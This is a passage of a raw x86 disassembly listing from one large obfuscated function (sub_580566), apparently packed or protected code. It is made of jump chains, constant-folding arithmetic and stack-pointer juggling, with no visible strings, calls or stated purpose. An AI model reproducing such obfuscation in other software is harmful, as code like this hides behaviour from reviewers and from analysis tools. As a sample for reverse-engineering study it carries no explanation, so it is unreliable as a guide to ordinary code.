[esp-3Eh+arg_34+2] jmp loc_59D633 ; --------------------------------------------------------------------------- loc_598544: ; CODE XREF: sub_580566+1CDB8j dec esi and esi, 5AC27B3Fh neg esi xor esi, 0D49F4904h jmp loc_5A1E6F ; --------------------------------------------------------------------------- loc_598558: ; CODE XREF: sub_580566+18249j add ecx, 6BC65E0Bh jmp loc_5936E5 ; --------------------------------------------------------------------------- loc_598563: ; CODE XREF: sub_580566+1B1BCj not ah xchg ah, dh jmp loc_59C301 ; --------------------------------------------------------------------------- loc_59856C: ; CODE XREF: sub_580566+1369Bj push 7A06h mov [esp-36h+arg_2C+2], esi mov esi, 20101D75h push 2380h mov [esp-32h+arg_28+2], ecx jmp loc_591E75 ; --------------------------------------------------------------------------- loc_598586: ; CODE XREF: sub_580566+1DF7Dj add ecx, 496A01CEh pop eax push edi push eax push 61FD7B1Dh pop eax not eax jmp loc_5925D5 ; --------------------------------------------------------------------------- loc_59859C: ; CODE XREF: sub_580566+20659j pop ebp dec ecx push 227Ah jmp loc_5A1C03 ; --------------------------------------------------------------------------- loc_5985A8: ; CODE XREF: sub_580566+13409j push ecx mov ecx, 6A7F2083h add [esp-24h+arg_24], ecx jmp loc_5A0875 ; --------------------------------------------------------------------------- loc_5985B7: ; CODE XREF: sub_580566+1C9E4j add edx, 272042E4h add edx, 580942ECh add edx, ecx jmp loc_592667 ; --------------------------------------------------------------------------- loc_5985CA: ; CODE XREF: sub_580566+1F8BAj add ebx, eax sub ebx, 5246AEAh push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5A381B ; --------------------------------------------------------------------------- loc_5985E3: ; CODE XREF: sub_580566+19246j xor ch, 0ECh inc ch or ch, 0D5h sub ch, 97h add al, ch mov ecx, [esp-20h+arg_16+2] jmp loc_5A0089 ; --------------------------------------------------------------------------- loc_5985F8: ; CODE XREF: sub_580566+16486j mov [esp-46h+arg_3C+2], eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_598600: ; CODE XREF: sub_580566+1C5DFj push ebp xchg esi, [esp-42h+arg_38+2] not esi xchg esi, [esp-42h+arg_38+2] pop ebp shl ebp, 3 push edi jmp loc_597893 ; --------------------------------------------------------------------------- loc_598613: ; CODE XREF: sub_580566+23A49j push 52EBh mov [esp-3Eh+arg_34+2], esp add [esp-3Eh+arg_34+2], 4 mov esi, [esp-3Eh+arg_34+2] jmp loc_599A5F ; --------------------------------------------------------------------------- loc_598627: ; CODE XREF: sub_580566+20CFDj shl eax, 1 shl eax, 4 xchg eax, ebx dec ebx push eax push ebx pop eax pop ebx sub eax, 3FE8DEDBh add edx, 5515ADFh add edx, eax jmp loc_59D1A2 ; --------------------------------------------------------------------------- loc_598644: ; CODE XREF: sub_580566+1C4B1j push eax mov eax, 61C930B8h jmp loc_59F176 ; --------------------------------------------------------------------------- loc_59864F: ; CODE XREF: sub_580566+11486j pop ebx add ebp, 404E3C87h push [esp-3Eh+arg_34+2] pop esi jmp loc_59741D ; --------------------------------------------------------------------------- loc_59865F: ; CODE XREF: sub_580566+141D7j pop esi push eax push edi jmp loc_5A44E1 ; --------------------------------------------------------------------------- loc_598667: ; CODE XREF: sub_580566+19ABDj push ebp jmp loc_5A4BD2 ; --------------------------------------------------------------------------- loc_59866D: ; CODE XREF: sub_580566+10B7Fj mov word ptr [esp-3Ch+arg_34], dx jmp loc_59E2E5 ; --------------------------------------------------------------------------- loc_598676: ; CODE XREF: sub_580566+1F718j mov esp, [esp-3Ch+arg_34] jmp loc_5A4731 ; --------------------------------------------------------------------------- loc_59867E: ; CODE XREF: sub_580566+14E44j and si, 269Ch shl si, 3 jmp loc_5A3BF8 ; --------------------------------------------------------------------------- loc_59868C: ; CODE XREF: sub_580566+19318j sub eax, 0FFFFFFFFh sub eax, 0D43C46Bh sub eax, ebp xchg eax, ebp jmp loc_5A325F ; --------------------------------------------------------------------------- loc_59869E: ; DATA XREF: sub_580566+10276o mov ax, word ptr [esp-30h+arg_28] push 0F0Fh mov [esp-2Ch+arg_24], ecx push esp pop ecx sub esp, 4 mov [esp-28h+arg_20], ebx mov ebx, 3C1C3A85h add ebx, 23627BF4h xor ebx, 0CD07DFCh push edi jmp loc_5A040A ; --------------------------------------------------------------------------- loc_5986CC: ; CODE XREF: sub_580566+11417j push [esp-4Ch+arg_44] mov ebx, [esp-48h+arg_40] sub esp, 4 mov [esp-44h+arg_3C], edx push esp pop edx add edx, 4 jmp loc_593B70 ; --------------------------------------------------------------------------- loc_5986E8: ; CODE XREF: sub_580566+1CCCEj mov esi, 0EF60AFAh sub [esp-44h+arg_44], 4B6B7B2Fh add [esp-44h+arg_44], esi add [esp-44h+arg_44], 4B6B7B2Fh mov esi, [esp-44h+arg_3C] push edx push 1AF6h mov [esp-3Ch+arg_34], esp add [esp-3Ch+arg_34], 4 pop edx add edx, 4 add edx, 4 xchg edx, [esp-40h+arg_38] mov esp, [esp-40h+arg_38] push edx push esi mov esi, 519536FEh inc esi xor esi, 32E87702h or esi, 481378C7h add esi, 0B4CC8706h mov edx, esi pop esi add [esp-3Ch+arg_3C], edx pop edx sub [esp-40h+arg_3C], 7FBE27A9h sub [esp-40h+arg_3C], edx add [esp-40h+arg_3C], 7FBE27A9h jmp loc_5A350F ; --------------------------------------------------------------------------- loc_598762: ; DATA XREF: sub_580566+104E2o mov cx, word ptr [esp-40h+arg_38] sub esp, 4 mov [esp-3Ch+arg_34], ebp sub esp, 4 push esp pop [esp-34h+arg_2C] add [esp-38h+arg_30], 4 jmp loc_59D92E ; --------------------------------------------------------------------------- loc_59877F: ; CODE XREF: sub_580566+1E525j mov esi, edi pop edi add esi, 0FFFFFFFFh xor esi, 15354E3Eh inc esi jmp loc_590DA3 ; --------------------------------------------------------------------------- loc_598791: ; CODE XREF: sub_580566+190C7j push edi mov edi, 75FC2742h mov ecx, edi pop edi add ecx, 1D1E6197h sub ecx, 64846498h shr ecx, 7 and ecx, 34F61CF9h jmp loc_598558 ; --------------------------------------------------------------------------- loc_5987B4: ; CODE XREF: sub_580566+10BE4j xchg edi, [esp-38h+arg_30] jmp loc_595E9F ; --------------------------------------------------------------------------- loc_5987BC: ; CODE XREF: sub_580566+13A0Bj pop esp add ax, 4A96h add ax, 3558h jmp loc_595969 ; --------------------------------------------------------------------------- loc_5987CA: ; CODE XREF: sub_580566+16BFDj shr eax, 0Ch xor eax, ecx push eax xor [esp-34h+arg_2C], ebp xor ebp, [esp-34h+arg_2C] xor [esp-34h+arg_2C], ebp push 6C50h mov [esp-30h+arg_28], ebp jmp loc_5A12B1 ; --------------------------------------------------------------------------- loc_5987E6: ; CODE XREF: sub_580566+15791j or ebx, edx pop edx jmp loc_59FD7F ; --------------------------------------------------------------------------- loc_5987EE: ; CODE XREF: sub_580566+132C5j mov edx, [esp-2Ah+arg_20+2] add esp, 4 dec eax sub eax, 33BB47D4h jmp loc_5A18B8 ; --------------------------------------------------------------------------- loc_5987FF: ; CODE XREF: sub_580566+1A4C9j xchg ecx, [esp-2Eh+arg_24+2] pop esp push esi mov esi, 4 add ebp, esi jmp loc_593645 ; --------------------------------------------------------------------------- loc_598810: ; CODE XREF: sub_580566+1F268j mov ebx, esp push 3F21h mov [esp-2Ah+arg_20+2], eax push 0F8D1A66h pop eax not eax inc eax or eax, 346431A7h jmp loc_5A0606 ; --------------------------------------------------------------------------- loc_59882D: ; CODE XREF: sub_580566+1733Dj push [esp-0Ch+arg_8] pop ebp push ebp jmp loc_59BA7F ; --------------------------------------------------------------------------- loc_598837: ; CODE XREF: sub_580566+21BD2j add ebx, eax mov eax, [esp-8+arg_4] add esp, 4 add ebx, 4 xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] jmp loc_5A4B59 ; --------------------------------------------------------------------------- loc_59884D: ; CODE XREF: sub_580566+22F3Ej xchg edi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] push 5E86h jmp loc_59BD2B ; --------------------------------------------------------------------------- loc_59885D: ; CODE XREF: sub_580566+1561Dj mov ecx, [esp-28h+arg_20] jmp loc_5A4964 ; --------------------------------------------------------------------------- loc_598865: ; CODE XREF: sub_580566+1B57Bj xchg edx, [esp-28h+arg_20] pop esp jmp loc_59C8AA ; --------------------------------------------------------------------------- loc_59886E: ; CODE XREF: sub_580566+14C1Aj ; sub_580566+15479j sub esp, 4 mov [esp-42h+arg_38+2], ecx push 25E6h mov [esp-3Eh+arg_34+2], ebx mov ecx, [esp-3Eh+arg_34+2] add esp, 4 push ebp jmp loc_594DCA ; --------------------------------------------------------------------------- loc_59888B: ; CODE XREF: sub_580566+11EC9j push dword ptr [esp+0] jmp loc_5A29C6 ; --------------------------------------------------------------------------- loc_598893: ; CODE XREF: sub_580566+159BCj pop edi mov eax, [esp-3Ah+arg_30+2] add esp, 4 sub ecx, 8163B7D5h jmp loc_5A42AE ; --------------------------------------------------------------------------- loc_5988A5: ; CODE XREF: sub_580566+11E3Aj dec edi add edi, 0C0B8D86Dh jmp loc_59F0E7 ; --------------------------------------------------------------------------- loc_5988B1: ; CODE XREF: sub_580566+12D36j pop edx jmp loc_59608D ; --------------------------------------------------------------------------- loc_5988B7: ; CODE XREF: sub_580566+123C4j pop ebx and ebx, ebp mov ebp, [esp-38h+arg_30] jmp loc_59B0B9 ; --------------------------------------------------------------------------- loc_5988C2: ; CODE XREF: sub_580566+23EC4j pop edx add [esp-3Ch+arg_3C], eax mov eax, [esp-3Ch+arg_34] add esp, 4 push edx push eax push 58D85187h pop eax jmp loc_59A8C2 ; --------------------------------------------------------------------------- loc_5988DD: ; CODE XREF: sub_580566+1B839j add ebp, edx push [esp-38h+arg_30] jmp loc_598B3B ; --------------------------------------------------------------------------- loc_5988E7: ; CODE XREF: sub_580566+1EEAEj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-34h+arg_2C] pop esp push 50EBh mov [esp-34h+arg_2C], eax push 322Bh push esp pop [esp-2Ch+arg_24] add [esp-30h+arg_28], 4 pop eax add eax, 4 add eax, 4 xor eax, [esp-34h+arg_2C] xor [esp-34h+arg_2C], eax xor eax, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] add ebp, 4 jmp loc_59CEDE ; --------------------------------------------------------------------------- loc_598931: ; CODE XREF: sub_580566+1FF9Cj add ebp, 4 xchg ebp, [esp-34h+arg_2C] jmp loc_59C360 ; --------------------------------------------------------------------------- loc_59893C: ; CODE XREF: sub_580566+11F2Dj add ecx, 4 push edi mov edi, 9000380h shl edi, 8 inc edi sub edi, 37FFDh jmp loc_593A18 ; --------------------------------------------------------------------------- loc_598957: ; CODE XREF: sub_580566+1E945j mov [esp-1Ah+arg_12], ebp mov ebp, 179C3F32h xor ebp, 31292120h and edx, ebp mov ebp, [esp-1Ah+arg_12] add esp, 4 xor edx, 45056C4Dh jmp loc_59E135 ; --------------------------------------------------------------------------- loc_59897B: ; CODE XREF: sub_580566+1FEE1j push ebx mov ebx, 4 add [esp-1Ah+arg_16], ebx push [esp-1Ah+arg_12] pop ebx add esp, 4 jmp loc_59C81D ; --------------------------------------------------------------------------- loc_598994: ; CODE XREF: sub_580566+1E0ABj xor ebp, edx jmp loc_5A234B ; --------------------------------------------------------------------------- loc_59899B: ; CODE XREF: sub_580566+1DFA5j pop esi push eax mov eax, 40F93A35h shr eax, 2 jmp loc_59B0DB ; --------------------------------------------------------------------------- loc_5989AA: ; CODE XREF: sub_580566+22964j add edx, 4 add edx, 4 xchg edx, [esp-1Eh+arg_16] pop esp push ebx mov ebx, esp add ebx, 4 jmp loc_5A5A8E ; --------------------------------------------------------------------------- loc_5989C5: ; CODE XREF: sub_580566+15A48j add bl, al push edx mov dl, 8Fh push 6F67h mov [esp-2Ah+arg_20+2], ecx push edx push ebx push ecx jmp loc_59BEA3 ; --------------------------------------------------------------------------- loc_5989DA: ; CODE XREF: sub_580566+12021j mov ebx, 5B6E3288h or ebx, 492752DDh sub ebx, 87016FCCh add esi, ebx mov ebx, [esp-4Eh+arg_44+2] add esp, 4 push ebp jmp loc_59FD50 ; --------------------------------------------------------------------------- loc_5989FC: ; CODE XREF: sub_580566+1FCB7j mov ecx, esp add ecx, 4 jmp loc_59AA29 ; --------------------------------------------------------------------------- loc_598A09: ; CODE XREF: sub_580566+147C6j pop edx push edi mov edi, 4122FFAh add esi, edi jmp loc_5A1E0A ; --------------------------------------------------------------------------- loc_598A17: ; CODE XREF: sub_580566+1C8ECj mov ebp, esp push 2A9Ah mov [esp-30h+arg_28], edi mov edi, 686261EFh add edi, 1 jmp loc_5A0659 ; --------------------------------------------------------------------------- loc_598A31: ; CODE XREF: sub_580566+16C11j mov esi, esp push ebx mov ebx, 4 sub esi, 352221D6h add esi, ebx add esi, 352221D6h pop ebx add esi, 4 push esi push [esp-46h+arg_40+2] pop esi pop [esp-46h+arg_3C+2] jmp loc_59ECAF ; --------------------------------------------------------------------------- loc_598A5C: ; CODE XREF: sub_580566+111BAj add esi, 4399290Bh mov eax, [esp-3Ch+arg_34] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] push ecx mov ecx, 30CA3383h push ebx push eax mov eax, 11172AFBh mov ebx, 1FB30886h add ebx, eax pop eax xor ecx, ebx pop ebx sub esi, 68D0597Dh add esi, ecx jmp loc_5A2D2C ; --------------------------------------------------------------------------- push [esp-34h+arg_30] push [esp-30h+arg_28] push [esp-2Ch+arg_24] push [esp-28h+arg_20] push [esp-24h+arg_1A+2] mov eax, [esp-20h+arg_16+2] push ebp mov ebp, esp jmp loc_59EBE2 ; --------------------------------------------------------------------------- loc_598AB7: ; CODE XREF: sub_580566+17DD3j xor ebp, [esp-4Ah+arg_40+2] jmp loc_5A4099 ; --------------------------------------------------------------------------- loc_598ABF: ; CODE XREF: sub_580566+23352j push 77764339h pop edi and edi, 5CA341D6h push eax mov eax, 13BF6C69h add eax, 50882DDDh and eax, 46A8734Ch or eax, 642C478Eh xor eax, 602F59E7h jmp loc_59D5DF ; --------------------------------------------------------------------------- loc_598AEA: ; CODE XREF: sub_580566+1F0AEj add esp, 4 push edi mov edi, 7E7F7C3Bh shr edi, 6 sub edi, 1F9FDECh jmp loc_5984DB ; --------------------------------------------------------------------------- loc_598B04: ; CODE XREF: sub_580566+1BFF4j add ecx, 4 xchg ecx, [esp-46h+arg_3C+2] pop esp push 6807h jmp loc_592A85 ; --------------------------------------------------------------------------- loc_598B15: ; CODE XREF: sub_580566+14872j xchg ebp, [esp-28h+arg_20] pop esp mov [esp-2Ch+arg_24], ecx sub esp, 4 mov [esp-28h+arg_20], esi jmp loc_597075 ; --------------------------------------------------------------------------- loc_598B2A: ; CODE XREF: sub_580566+20CAAj mov eax, [esp-28h+arg_20] add esp, 4 xchg ebx, [esp-2Ch+arg_24] jmp loc_591E81 ; --------------------------------------------------------------------------- loc_598B3B: ; CODE XREF: sub_580566+1837Cj pop edx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-34h+arg_2C] pop esp sub esp, 4 jmp loc_596A5D ; --------------------------------------------------------------------------- loc_598B58: ; CODE XREF: sub_580566+22296j pop edx or edx, 1A4B59AAh sub esp, 4 mov [esp-34h+arg_2C], edi mov edi, 5B0A527Dh jmp loc_599AB3 ; --------------------------------------------------------------------------- loc_598B6F: ; CODE XREF: sub_580566+12D78j add ebx, 2 xor ebx, [esp-4Eh+arg_44+2] xor [esp-4Eh+arg_44+2], ebx xor ebx, [esp-4Eh+arg_44+2] mov esp, [esp-4Eh+arg_44+2] mov ax, word ptr [esp-4Eh+arg_44+2] push 921h jmp loc_5950F5 ; --------------------------------------------------------------------------- loc_598B8C: ; CODE XREF: sub_580566+1C698j push [esp-4Ah+arg_44+2] jmp loc_59CD56 ; --------------------------------------------------------------------------- loc_598B95: ; CODE XREF: sub_580566+2293Bj shr ah, 2 or ah, 0CEh xor ah, 60h sub bl, 0C3h add bl, ah push cx jmp loc_59B4F2 ; --------------------------------------------------------------------------- loc_598BAA: ; CODE XREF: sub_580566+13425j push ebx mov ebx, 24587F15h mov edi, 0DBA780EFh jmp loc_596252 ; --------------------------------------------------------------------------- loc_598BBA: ; CODE XREF: sub_580566+22604j mov ebx, [esp-20h+arg_16+2] jmp loc_59B7CE ; --------------------------------------------------------------------------- loc_598BC2: ; CODE XREF: sub_580566+246B0j push edx push esi jmp loc_59D22B ; --------------------------------------------------------------------------- loc_598BC9: ; CODE XREF: sub_580566+1A53Fj mov [esp-18h+arg_E+2], ebx push esp jmp loc_59E0D1 ; --------------------------------------------------------------------------- loc_598BD2: ; CODE XREF: sub_580566+1BFAEj mov esi, 1685172Ch dec esi jmp loc_5A1B0A ; --------------------------------------------------------------------------- loc_598BDD: ; CODE XREF: sub_580566+1EC0Bj pop esp or eax, eax jz loc_599EEC push 3C31h mov [esp-14h+arg_A+2], eax push 0FEh push dword ptr [esp+0] jmp loc_5A42EB ; --------------------------------------------------------------------------- loc_598BFB: ; CODE XREF: sub_580566+1CD09j add eax, 60B8E6E4h add ebp, eax pop eax xchg ebp, [esp+0] pop esp jmp loc_598359 ; --------------------------------------------------------------------------- loc_598C0C: ; CODE XREF: sub_580566+12AC2j push cx mov ch, 0C8h push edx jmp loc_59EAE9 ; --------------------------------------------------------------------------- loc_598C16: ; CODE XREF: sub_580566+1BDFBj push 58E7h mov [esp-38h+arg_30], edi mov edi, 4 jmp loc_5A164F ; --------------------------------------------------------------------------- loc_598C28: ; CODE XREF: sub_580566+22DEBj add esp, 4 xor esi, 63064A13h jmp loc_59A3F5 ; --------------------------------------------------------------------------- loc_598C39: ; CODE XREF: sub_580566+19F6Bj push cx pushf jmp loc_59F830 ; --------------------------------------------------------------------------- loc_598C41: ; CODE XREF: sub_580566+12277j sub eax, 6F3171E5h inc eax sub eax, 47C263E1h add eax, 6AF63762h jmp loc_5A18E5 ; --------------------------------------------------------------------------- loc_598C56: ; CODE XREF: sub_580566+205F9j mov ecx, eax mov eax, [esp-2Eh+arg_24+2] add esp, 4 sub edi, 64A02DFDh add edi, ecx add edi, 64A02DFDh pop ecx add edi, 4 xor edi, [esp-36h+arg_2C+2] jmp loc_59B2DE ; --------------------------------------------------------------------------- loc_598C7E: ; CODE XREF: sub_580566+20D34j not edx sub edx, 21B7A8C5h push 2EFDh mov [esp-32h+arg_28+2], eax jmp loc_592E25 ; --------------------------------------------------------------------------- loc_598C93: ; CODE XREF: sub_580566+13F98j sub edx, eax pop eax jmp loc_596E78 ; --------------------------------------------------------------------------- loc_598C9B: ; CODE XREF: sub_580566+1B272j xor ch, 53h xor ch, 15h add ah, ch pop ecx xor dh, ah jmp loc_5A1194 ; --------------------------------------------------------------------------- loc_598CAB: ; CODE XREF: sub_580566+21F8Bj sub ebp, eax pop eax sub eax, ebp pop ebp add eax, esi add eax, 36DD7809h push [esp-52h+arg_48+2] pop esi jmp loc_59AB38 ; --------------------------------------------------------------------------- loc_598CC1: ; CODE XREF: sub_580566+1AC9Fj push ecx push ebx jmp loc_59B667 ; --------------------------------------------------------------------------- loc_598CC8: ; CODE XREF: sub_580566+12968j add eax, ebp push [esp-40h+arg_38] jmp loc_5A1B23 ; --------------------------------------------------------------------------- loc_598CD2: ; CODE XREF: sub_580566+24C7Fj mov bl, 2Ch not bl or bl, 6Bh sub bl, 0B8h add al, 43h sub al, 0D0h add al, bl jmp loc_59BA96 ; --------------------------------------------------------------------------- loc_598CE7: ; CODE XREF: sub_580566+106CDj mov bl, 1Dh jmp loc_591085 ; --------------------------------------------------------------------------- loc_598CEE: ; CODE XREF: sub_580566+227FAj and ecx, edi push [esp-42h+arg_38+2] jmp loc_595488 ; --------------------------------------------------------------------------- loc_598CF8: ; CODE XREF: sub_580566+11A16j add esi, 5A8F11CFh pop edi add esi, eax sub esp, 4 jmp loc_5A154A ; --------------------------------------------------------------------------- loc_598D09: ; CODE XREF: sub_580566+136BEj mov esp, [esp-36h+arg_2C+2] shr ecx, 0 or eax, eax jz loc_59C4FE push 510Fh jmp loc_5968E1 ; --------------------------------------------------------------------------- loc_598D21: ; CODE XREF: sub_580566+1C6E5j mov edx, 2243071Eh sub eax, edx pop edx push [esp-36h+arg_2C+2] pop ebp push edi mov edi, esp jmp loc_591A86 ; --------------------------------------------------------------------------- loc_598D35: ; CODE XREF: sub_580566+149E7j push eax jmp loc_59DD52 ; --------------------------------------------------------------------------- loc_598D3B: ; CODE XREF: sub_580566+109B1j add esp, 4 xor ecx, eax jmp loc_5914F4 ; --------------------------------------------------------------------------- push 0C7Ah push 7AC3h mov [esp-46h+arg_3C+2], ecx jmp loc_593755 ; --------------------------------------------------------------------------- loc_598D5A: ; CODE XREF: sub_580566+1774Dj mov [esp-4Eh+arg_44+2], esp add [esp-4Eh+arg_44+2], 4 push [esp-4Eh+arg_44+2] pop ebp jmp loc_599F46 ; --------------------------------------------------------------------------- loc_598D6D: ; CODE XREF: sub_580566+1CC25j not ah jmp loc_594700 ; --------------------------------------------------------------------------- lodsd add eax, 77B840D3h sub eax, 289952ADh add eax, ebx add eax, 289952ADh push edi push eax push 3DC6542Ch pop eax mov edi, 0AB4F9064h sub edi, eax mov eax, [esp-46h+arg_3C+2] push ebp mov ebp, esp push edi jmp loc_5990F4 ; --------------------------------------------------------------------------- loc_598DA1: ; CODE XREF: sub_580566+16471j add ebx, 2A1B7557h jmp loc_5A559E ; --------------------------------------------------------------------------- loc_598DAC: ; CODE XREF: sub_580566+1A39Aj add ax, 166Ah jmp loc_593F5F ; --------------------------------------------------------------------------- loc_598DB5: ; CODE XREF: sub_580566+1EC92j mov [esp-42h+arg_38+2], esi push edi mov edi, 64456F88h jmp loc_595F5A ; --------------------------------------------------------------------------- loc_598DC3: ; CODE XREF: sub_580566+19DB4j push ebp push 4EF1h push esp pop [esp-32h+arg_28+2] add [esp-36h+arg_2C+2], 4 jmp loc_5A17C5 ; --------------------------------------------------------------------------- loc_598DD9: ; CODE XREF: sub_580566+21BB9j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5A46D0 ; --------------------------------------------------------------------------- loc_598DE9: ; CODE XREF: sub_580566+16FB6j add ebp, ecx pop ecx xchg ebp, [esp-46h+arg_3C+2] mov esp, [esp-46h+arg_3C+2] jmp loc_5A2027 ; --------------------------------------------------------------------------- loc_598DF7: ; CODE XREF: sub_580566+20DA9j push 71267E24h pop ebx sub ebx, 0FC752B80h mov edi, ebx push [esp-46h+arg_3C+2] pop ebx add esp, 4 jmp loc_5A4989 ; --------------------------------------------------------------------------- loc_598E14: ; CODE XREF: sub_580566+21146j push ecx push [esp-46h+arg_3C+2] pop eax add esp, 4 push eax push [esp-46h+arg_3C+2] pop ebx jmp loc_5A0641 ; --------------------------------------------------------------------------- loc_598E29: ; CODE XREF: sub_580566+23500j mov eax, 1AA2A269h add edx, eax mov eax, [esp-46h+arg_3C+2] add esp, 4 sub eax, 2F423C3Ah add eax, 57D5E39h sub eax, edx jmp loc_5A51C3 ; --------------------------------------------------------------------------- loc_598E4A: ; CODE XREF: sub_580566+1E2C8j mov edx, [esp-4Ah+arg_40+2] add esp, 4 push edx push esp pop edx add edx, 4 jmp loc_59DB72 ; --------------------------------------------------------------------------- loc_598E5E: ; CODE XREF: sub_580566+1AE81j not [esp-4Ah+arg_40+2] mov edx, [esp-4Ah+arg_40+2] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59E3A0 ; --------------------------------------------------------------------------- loc_598E78: ; CODE XREF: sub_580566+227D6j sub esp, 4 push esp pop [esp-3Eh+arg_34+2] push ebx mov ebx, 4 add [esp-3Eh+arg_38+2], ebx mov ebx, [esp-3Eh+arg_34+2] push edx jmp loc_5912F6 ; --------------------------------------------------------------------------- loc_598E95: ; CODE XREF: sub_580566+13986j xor edx, 7046AFC0h jmp loc_5911C4 ; --------------------------------------------------------------------------- loc_598EA0: ; CODE XREF: sub_580566+15DCAj pop eax xor di, bx mov bx, word ptr [esp-24h+arg_1A+2] add esp, 2 jmp loc_5A55D1 ; --------------------------------------------------------------------------- loc_598EB3: ; CODE XREF: sub_580566+1EFE7j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5A45DE ; --------------------------------------------------------------------------- loc_598EC7: ; CODE XREF: sub_580566+1EA58j add edx, edi jmp loc_59A166 ; --------------------------------------------------------------------------- loc_598ECE: ; CODE XREF: sub_580566+21286j add esi, ecx sub esi, 5C1B2098h pop ecx sub esi, 4 jmp loc_59B9D2 ; --------------------------------------------------------------------------- loc_598EE2: ; CODE XREF: sub_580566+13E7Dj sub bx, di add bx, 6AD0h mov di, word ptr [esp-24h+arg_1A+2] add esp, 2 add bx, si push si push ebp mov bp, 787Bh jmp loc_59AE4E ; --------------------------------------------------------------------------- loc_598F00: ; CODE XREF: sub_580566+1B514j mov ebx, 3D255D91h sub [esp-22h+arg_24+2], ebx pop ebx pop ebp pop edi mov eax, [esp-2Eh+arg_24+2] add esp, 4 sub esp, 4 mov [esp-2Eh+arg_24+2], esi mov esi, 4 jmp loc_5995D0 ; --------------------------------------------------------------------------- loc_598F28: ; CODE XREF: sub_580566+24ACBj pop edx push eax push edi jmp loc_5919BC ; --------------------------------------------------------------------------- loc_598F30: ; CODE XREF: sub_580566+1E677j push ecx mov ecx, 7E0D5A44h mov ebp, 81F2A5C0h add ebp, ecx pop ecx push ecx jmp loc_5A070C ; --------------------------------------------------------------------------- loc_598F44: ; CODE XREF: sub_580566+24C58j not ebx dec ebx shl ebx, 5 push esi jmp loc_59BE04 ; --------------------------------------------------------------------------- loc_598F50: ; CODE XREF: sub_580566+121CBj sub ebx, 0FFFFFFFFh push esi mov esi, 88843A4h sub esi, 0A8D76F3Ah sub ebx, 17B7379Fh push ecx mov ecx, 766055E7h add ebx, ecx pop ecx sub ebx, 0AFD6A45h add ebx, esi add ebx, 0AFD6A45h sub ebx, 766055E7h add ebx, 17B7379Fh pop esi add ecx, ebx pop ebx add ecx, edi push eax push edx jmp loc_594816 ; --------------------------------------------------------------------------- loc_598F95: ; CODE XREF: sub_580566+166C0j mov edx, 38h mov ebx, edx pop edx jmp loc_5964CB ; --------------------------------------------------------------------------- loc_598FA2: ; CODE XREF: sub_580566+25066j shr eax, 0Ah xor eax, ecx push eax xchg eax, [esp-4Ch+arg_44] not eax xchg eax, [esp-4Ch+arg_44] push [esp-4Ch+arg_44] push [esp-48h+arg_40] push [esp-44h+arg_3C] pop eax add esp, 4 jmp loc_591A00 ; --------------------------------------------------------------------------- loc_598FC5: ; CODE XREF: sub_580566+1A862j xor [esp-48h+arg_40], ebx jmp loc_5A5A58 ; --------------------------------------------------------------------------- loc_598FCD: ; CODE XREF: sub_580566+1551Ej mov [esp-62h+arg_5A], ebx mov ebx, 321693Eh sub esp, 4 mov [esp-5Eh+arg_56], edx jmp loc_59E3E7 ; --------------------------------------------------------------------------- loc_598FE0: ; CODE XREF: sub_580566+11F98j xchg ecx, [esp-34h+arg_2C] pop esp push eax push ebp mov ebp, 9364A46h mov eax, 5927EE9Eh add eax, ebp jmp loc_59CB51 ; --------------------------------------------------------------------------- loc_598FF7: ; CODE XREF: sub_580566+15130j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-12h+arg_A] pop esp xchg ebp, [esp-16h+arg_E] mov esp, [esp-16h+arg_E] push 45A4h jmp loc_59F366 ; --------------------------------------------------------------------------- loc_599019: ; CODE XREF: sub_580566+1F6F0j push 5F1Bh mov [esp-0Eh+arg_8+2], ebp jmp loc_59ACF3 ; --------------------------------------------------------------------------- loc_599026: ; CODE XREF: sub_580566+12DFDj xchg ebx, [esp-34h+arg_2C] jmp loc_59EA73 ; --------------------------------------------------------------------------- loc_59902E: ; CODE XREF: sub_580566+22FD5j mov edx, esp add edx, 4 push ebx jmp loc_5949C9 ; --------------------------------------------------------------------------- loc_59903C: ; CODE XREF: sub_580566+19168j add esp, 4 add esi, 5D2F086Dh jmp loc_5A5BBD ; --------------------------------------------------------------------------- loc_59904A: ; CODE XREF: sub_580566+176EDj push 7170h mov [esp-50h+arg_48], ebx mov ebx, 4 sub edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] mov [esp], esi push 3F1359A1h mov esi, [esp-50h+arg_48] add esp, 4 sub esi, 22FD7E48h push ecx push edi mov edi, 3BAF527Dh jmp loc_59F84C ; --------------------------------------------------------------------------- loc_599080: ; CODE XREF: sub_580566+1A233j shl ebx, 3 sub ebx, 0C7D3EE58h add ecx, ebx pop ebx sub ecx, 0EE473542h add ebx, ecx mov ecx, [esp-50h+arg_48] add esp, 4 add ebx, 4 xor ebx, [esp+0] xor [esp+0], ebx jmp loc_5941BF ; --------------------------------------------------------------------------- loc_5990A8: ; CODE XREF: sub_580566+1D103j add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax push ebp push dword ptr [esp+4] mov ebp, [esp-4Ch+arg_44] add esp, 4 pop [esp-50h+arg_48] mov esp, [esp+0] sub edi, 5BA719F9h add edi, ecx push 4759h mov [esp-50h+arg_48], ebx push esi mov esi, 7FCE2824h mov ebx, esi push [esp-4Ch+arg_44] mov esi, [esp-48h+arg_40] add esp, 4 push ebp mov ebp, esp jmp loc_597ADD ; --------------------------------------------------------------------------- loc_5990F4: ; CODE XREF: sub_580566+18836j mov edi, 105E6E1Eh jmp loc_595EB1 ; --------------------------------------------------------------------------- loc_5990FE: ; CODE XREF: sub_580566+116BFj and ebx, 785F31B7h jmp loc_5A24FC ; --------------------------------------------------------------------------- loc_599109: ; CODE XREF: sub_580566+1DBAAj pop esi pop eax dec eax jmp loc_594067 ; --------------------------------------------------------------------------- loc_599111: ; CODE XREF: sub_580566+1665Dj dec ebp push ecx mov ecx, 1C32B7Dh xor ecx, 79A85493h or ecx, 24706DF5h sub ecx, 69FD30C2h neg ecx sub ecx, 49261BFFh jmp loc_59E698 ; 